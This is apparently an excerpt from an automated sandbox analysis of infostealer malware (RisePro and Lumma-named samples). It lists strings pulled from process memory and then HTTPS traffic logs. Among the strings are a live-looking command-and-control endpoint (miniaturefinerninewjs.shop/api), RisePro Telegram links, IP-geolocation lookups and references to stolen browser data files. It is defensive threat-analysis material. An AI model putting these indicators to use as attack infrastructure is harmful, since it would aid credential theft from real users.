Source: RegAsm.exe, 0000002C.00000002.3509342638.0000000001537000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.0000000001582000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000158F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000159A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001687000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/A
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001509000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/I
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001515000.00000004.00000020.00020000.00000000.sdmp, 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001D45000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001687000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 0000000A.00000002.3505760819.000000000171A000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001353000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3510229323.0000000000F11000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.000000000126F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000158F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: OJa1BOigU3.exe, 00000000.00000002.2345345627.000000000026D000.00000002.00000001.01000000.00000003.sdmp, 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3501913330.000000000109D000.00000002.00000001.01000000.00000006.sdmp, MSIUpdaterV1.exe, 00000009.00000002.3501554784.000000000079D000.00000002.00000001.01000000.00000007.sdmp, MSIUpdaterV1.exe, 0000000A.00000002.3501305233.000000000079D000.00000002.00000001.01000000.00000007.sdmp, v6ggwc2fJXXgIu5fzDQ2.exe, 00000016.00000002.2809429426.00000000003C5000.00000004.00000001.01000000.0000000A.sdmp, MSIUpdaterV1.exe, 00000017.00000002.2896199963.0000000000145000.00000004.00000001.01000000.0000000B.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3501914697.000000000086D000.00000002.00000001.01000000.0000000C.sdmp, MSIUpdaterV1.exe, 0000001C.00000002.2896175092.0000000000145000.00000004.00000001.01000000.0000000B.sdmp, RegAsm.exe, 0000002C.00000002.3500058845.000000000055D000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: RegAsm.exe, 0000002A.00000002.3509011004.0000000001267000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/v
Source: RegAsm.exe, 0000002C.00000002.3509342638.0000000001554000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000158F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/widget/demo/84.17.40.101
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001515000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/widget/demo/84.17.40.101H.
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.000000000132D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/widget/demo/84.17.40.101P
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001CFF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/widget/demo/84.17.40.101uePK
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001515000.00000004.00000020.00020000.00000000.sdmp, 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001D45000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3510229323.0000000000F11000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.000000000126F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000158F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io:443/widget/demo/84.17.40.101
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001353000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io:443/widget/demo/84.17.40.101-
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io:443/widget/demo/84.17.40.101a
Source: MSIUpdaterV1.exe, 0000000A.00000002.3505760819.000000000171A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io:443/widget/demo/84.17.40.101j
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.2783994618.000000000102C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2784153638.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2784153638.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/
Source: RegAsm.exe, 00000029.00000002.2784153638.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/1
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CBB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2647689981.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2648580475.0000000002F34000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.2783994618.000000000101E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2785947499.00000000030C0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2784153638.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/api
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/apiZ
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/apic
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/apig
Source: RegAsm.exe, 00000029.00000002.2783862547.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/apiq
Source: RegAsm.exe, 00000029.00000002.2784153638.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop/apit
Source: RegAsm.exe, 00000011.00000002.2649795741.0000000002FBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2784153638.0000000000E51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://miniaturefinerninewjs.shop:443/api
Source: OJa1BOigU3.exe, AdobeUpdaterV1.exe.0.dr, MSIUpdaterV1.exe.0.dr, Retailer_prog[1].exe.0.dr String found in binary or memory: https://sectigo.com/CPS0
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://support.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: OJa1BOigU3.exe, 00000000.00000003.2156086126.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, TEwtthWU56IyHistory.0.dr, AGHAk_8e2iEiHistory.0.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: TEwtthWU56IyHistory.0.dr, AGHAk_8e2iEiHistory.0.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: OJa1BOigU3.exe, 00000000.00000003.2156086126.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, TEwtthWU56IyHistory.0.dr, AGHAk_8e2iEiHistory.0.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: TEwtthWU56IyHistory.0.dr, AGHAk_8e2iEiHistory.0.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: RegAsm.exe, 00000019.00000002.3510229323.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.k&
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001361000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.kr
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.mZ
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001CCE000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 00000009.00000002.3506110613.000000000161E000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 0000000A.00000002.3505760819.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3505470905.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3510229323.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000150A000.00000004.00000020.00020000.00000000.sdmp, RLhyDRs2UHaLI0bTHvNtryI.zip.0.dr String found in binary or memory: https://t.me/RiseProSUPPORT
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.000000000161E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/RiseProSUPPORTNlI
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.00000000012DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/RiseProSUPPORTk
Source: RegAsm.exe, 0000002C.00000002.3509342638.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/RiseProSUPPORTrh
Source: RegAsm.exe, 0000002A.00000002.3509011004.00000000011EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/RiseProSUPPORTvS
Source: MSIUpdaterV1.exe, 0000000A.00000002.3505760819.00000000016A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/RiseProSUPPORTy
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001398000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3510229323.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro
Source: RegAsm.exe, 0000002C.00000002.3509342638.000000000159A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro.101
Source: RegAsm.exe, 0000002C.00000002.3509342638.000000000159A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro.1010
Source: RegAsm.exe, 0000002C.00000002.3509342638.000000000159A000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr String found in binary or memory: https://t.me/risepro_bot
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001534000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_bot101US1
Source: RegAsm.exe, 00000019.00000002.3510229323.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_bot4.17.
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001D5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_bot7
Source: MSIUpdaterV1.exe, 0000000A.00000002.3505760819.000000000173D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botEL
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_bot_M
Source: MSIUpdaterV1.exe, 0000000A.00000002.3505760819.000000000173D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botisepro_botC
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001398000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.000000000126F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botlater
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001398000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botlaterH
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001D5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botlaterXM
Source: RegAsm.exe, 0000002A.00000002.3509011004.000000000126F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botlateri
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001398000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botr
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botv
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001534000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/risepro_botwX~
Source: OJa1BOigU3.exe, 00000000.00000003.2278188796.00000000068DA000.00000004.00000020.00020000.00000000.sdmp, U8cABsPhZFkKRrQ4rE0N.exe.0.dr, MSIUpdaterV1.exe1.0.dr, retailerTest[1].exe.0.dr, lumma2804[1].exe.0.dr, MSIUpdaterV1.exe0.0.dr, v6ggwc2fJXXgIu5fzDQ2.exe.0.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: OJa1BOigU3.exe, 00000000.00000003.2157899716.0000000005E20000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2156801690.0000000005E0E000.00000004.00000020.00020000.00000000.sdmp, iuT8dZ3bOpVeWeb Data.0.dr, CBo4vvuzz0ClWeb Data.0.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: OJa1BOigU3.exe, 00000000.00000003.2157899716.0000000005E20000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2156801690.0000000005E0E000.00000004.00000020.00020000.00000000.sdmp, iuT8dZ3bOpVeWeb Data.0.dr, CBo4vvuzz0ClWeb Data.0.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: v6ggwc2fJXXgIu5fzDQ2.exe, MSIUpdaterV1.exe String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://www.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.000000000157A000.00000004.00000020.00020000.00000000.sdmp, Firefox_fqs92o4p.default-release.txt.0.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: OJa1BOigU3.exe, 00000000.00000003.2156163035.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2157031351.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2156878730.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000002.2346732102.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2157678876.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001534000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2161760706.0000000005E18000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000002.2346129634.000000000157A000.00000004.00000020.00020000.00000000.sdmp, Firefox_fqs92o4p.default-release.txt.0.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001534000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/efox/x
Source: OJa1BOigU3.exe, 00000000.00000003.2156163035.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2157031351.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2156878730.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000002.2346732102.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000003.2157678876.0000000005DD5000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49798 version: TLS 1.2
